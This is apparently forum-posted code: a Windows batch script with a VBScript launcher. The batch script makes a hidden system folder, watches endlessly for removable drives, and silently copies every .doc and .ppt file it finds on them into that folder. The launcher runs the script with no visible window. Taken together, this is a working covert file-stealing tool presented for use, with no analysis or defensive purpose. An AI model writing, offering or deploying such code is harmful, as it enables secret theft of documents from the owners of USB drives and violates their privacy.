@echo off
md c:\copy\文件
attrib +s +h c:\copy
attrib +s +h c:\copy\文件
::ping 127.0.0.1 -n 60 >nul
:zhu
for %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%a: >>"c:\u.log"
findstr /i "可移动" "c:\u.log" 
if errorlevel==1 goto end
if errorlevel==0 goto open
:end
del /f /s /q "c:\u.log"
cls
goto :zhu
:open
cls
for /f "tokens=1" %%a in ('findstr /i "可移动" "c:\u.log"') do @(
if exist %%a (
%%a
cd \
xcopy /d *.doc "c:\copy\文件"
xcopy /d *.ppt "c:\copy\文件"
for /f "delims=" %%i in ('dir /s /ad /b \') do xcopy /d  "%%i\*.doc" "c:\copy\文件"
cls
for /f "delims=" %%i in ('dir /s /ad /b \') do xcopy /d  "%%i\*.ppt" "c:\copy\文件"
cls
)
)
del /f /s /q "c:\u.log"
cls
ping 127.0.0.1 -n 60 >nul
goto :zhu
复制代码

set ws=WScript.CreateObject("WScript.Shell")
ws.Run "A.bat",0
复制代码